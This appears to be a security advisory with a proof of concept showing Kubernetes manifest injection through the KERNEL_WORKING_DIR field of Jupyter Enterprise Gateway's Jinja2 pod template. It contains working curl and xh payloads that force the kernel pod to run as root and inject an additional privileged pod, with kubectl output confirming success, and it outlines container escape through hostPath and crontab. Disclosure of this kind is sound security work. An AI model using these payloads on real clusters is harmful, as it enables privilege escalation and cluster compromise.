Jupyter Enterprise Gateway: Kubernetes Manifest Injection in Jinja2 Template Rendering

Resulting request:

POST /api/kernels HTTP/1.1
Accept: application/json, */*;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Connection: keep-alive
Content-Length: 233
Content-Type: application/json
Host: localhost:31529
User-Agent: xh/0.24.0

{
    "env": {
        "KERNEL_POD_NAME": "working-dir-root",
        "KERNEL_NAMESPACE": "notebooks",
        "KERNEL_WORKING_DIR": "\"/tmp\\\"\\n\\n# INJECTION\\n  securityContext:\\n    runAsUser: 0\\n    runAsGroup: 0\\n    fsGroup: 100\\n# HAHA - stray quote \""
    }
}

Curl equivalent command:

curl http://localhost:31529/api/kernels -H 'content-type: application/json' -H 'accept: application/json, */*;q=0.5' -d '{"env":{"KERNEL_POD_NAME":"working-dir-root","KERNEL_NAMESPACE":"notebooks","KERNEL_WORKING_DIR":"\"/tmp\\\"\\n\\n# INJECTION\\n  securityContext:\\n    runAsUser: 0\\n    runAsGroup: 0\\n    fsGroup: 100\\n# HAHA - stray quote \""}}'

The rendered Jinja2 template:

# This file defines the Kubernetes objects necessary for kernels to run witihin Kubernetes.
# Substitution parameters are processed by the launch_kubernetes.py code located in the
# same directory.  Some values are factory values, while others (typically prefixed with 'kernel_') can be
# provided by the client.
#
# This file can be customized as needed.  No changes are required to launch_kubernetes.py provided kernel_
# values are used - which be automatically set from corresponding KERNEL_ env values.  Updates will be required
# to launch_kubernetes.py if new document sections (i.e., new k8s 'kind' objects) are introduced.
#
apiVersion: v1
kind: Pod
metadata:
  name: "working-dir-root"
  namespace: "notebooks"
  labels:
    kernel_id: "186f4ecf-bf90-40b8-b210-a0987bfce927"
    app: enterprise-gateway
    component: kernel
    source: kernel-pod.yaml
  annotations:
    cluster-autoscaler.kubernetes.io/safe-to-evict: "false"
spec:
  restartPolicy: Never
  serviceAccountName: "default"
# NOTE: that using runAsGroup requires that feature-gate RunAsGroup be enabled.
# WARNING: Only using runAsUser w/o runAsGroup or NOT enabling the RunAsGroup feature-gate
# will result in the new kernel pod's effective group of 0 (root)! although the user will
# correspond to the runAsUser value.  As a result, BOTH should be uncommented AND the feature-gate
# should be enabled to ensure expected behavior.  In addition, 'fsGroup: 100' is recommended so
# that /home/jovyan can be written to via the 'users' group (gid: 100) irrespective of the
# "kernel_uid" and "kernel_gid" values.
  securityContext:
    runAsUser: 1000
    runAsGroup: 100
    fsGroup: 100
  containers:
  - image: "elyra/kernel-py:3.2.3"
    name: "working-dir-root"
    env:
# Add any custom envs here that aren't already configured for the kernel's environment
#    - name: MY_CUSTOM_ENV
#      value: "my_custom_value"
    workingDir: "/tmp"

# INJECTION
  securityContext:
    runAsUser: 0
    runAsGroup: 0
    fsGroup: 100
# HAHA - stray quote "
    volumeMounts:
# Define any "unconditional" mounts here, followed by "conditional" mounts that vary per client
  volumes:
# Define any "unconditional" volumes here, followed by "conditional" volumes that vary per client

Normally the container would run as uid=1000(jovyan) gid=100(users) groups=100(users). This injects a pod securityContext with runAsUser: 0 and runAsGroup: 0 (and fsGroup: 100). The processing of the YAML results in the duplicate key clobbering the original. Making the container run as uid=0(root) gid=0(root) groups=0(root),100(users).

In addition to injecting a pod level securityContext it is also possible to inject a container level securityContext which supports the privileged field.

Injecting a Pod

By injecting ... and --- it is possible to use multi-document YAML to inject Kubernetes resources.

xh http://localhost:31529/api/kernels env:[email protected]

env-working-dir-exploit-pod.yaml:

{
  "KERNEL_POD_NAME": "working-dir-root-pod",
  "KERNEL_NAMESPACE": "notebooks",
  "KERNEL_WORKING_DIR": "\"/tmp\\\"\\n\\n# INJECTION\\n...\\n---\\napiVersion: v1\\nkind: Pod\\nmetadata:\\n  name: injected-pod\\n\\\n  spec:\\n  containers:\\n    - name: injected-container\\n      image: nginx\\n      ports:\\n        - containerPort: 80\\n      securityContext:\\n        privileged: true\\n        runAsUser: 0\\n        runAsGroup: 0\\n...\\n# HAHA - stray quote\""
}

This is rendered as (skipping the beginning of the rendering before the inject):

    workingDir: "/tmp"

# INJECTION
...
---
apiVersion: v1
kind: Pod
metadata:
  name: injected-pod
spec:
  containers:
    - name: injected-container
      image: nginx
      ports:
        - containerPort: 80
      securityContext:
        privileged: true
        runAsUser: 0
        runAsGroup: 0
...
# HAHA - stray quote"
    volumeMounts:
# Define any "unconditional" mounts here, followed by "conditional" mounts that vary per client
  volumes:
# Define any "unconditional" volumes here, followed by "conditional" volumes that vary per client

kubectl get pods -n notebooks

NAME                   READY   STATUS    RESTARTS   AGE
injected-pod           1/1     Running   0          4s
working-dir-root-pod   1/1     Running   0          4s

The injected-pod has been created in addition to the working-dir-root-pod.

kubectl get pod/injected-pod -o yaml -n notebooks -o jsonpath='{.spec.containers[*].securityContext}':

{
  "privileged": true,
  "runAsGroup": 0,
  "runAsUser": 0
}

Impact

An attacker can create pods running with arbitrary, image, securityContext, and volumeMounts including hostPath mounts. Privileged pods can be created.

Arbitrary Kubernetes resources of kinds: Pod, Secret, PersistentVolumeClaim, PersistentVolume, Service, and ConfigMap can be created.

Repeated exploitation can compromise all worker nodes, and thus the entire Kubernetes cluster. Multiple container escape vectors exist. It is possible to create privileged pods which could load kernel modules to compromise the host. It is also possible to specify volume mounts, so another vector for a container escape is to use a hostPath R/W volume mount, use the injected securityContext to run as root, and then gain code execution in the underlying worker node by creating a crontab entry in the mounted host file system.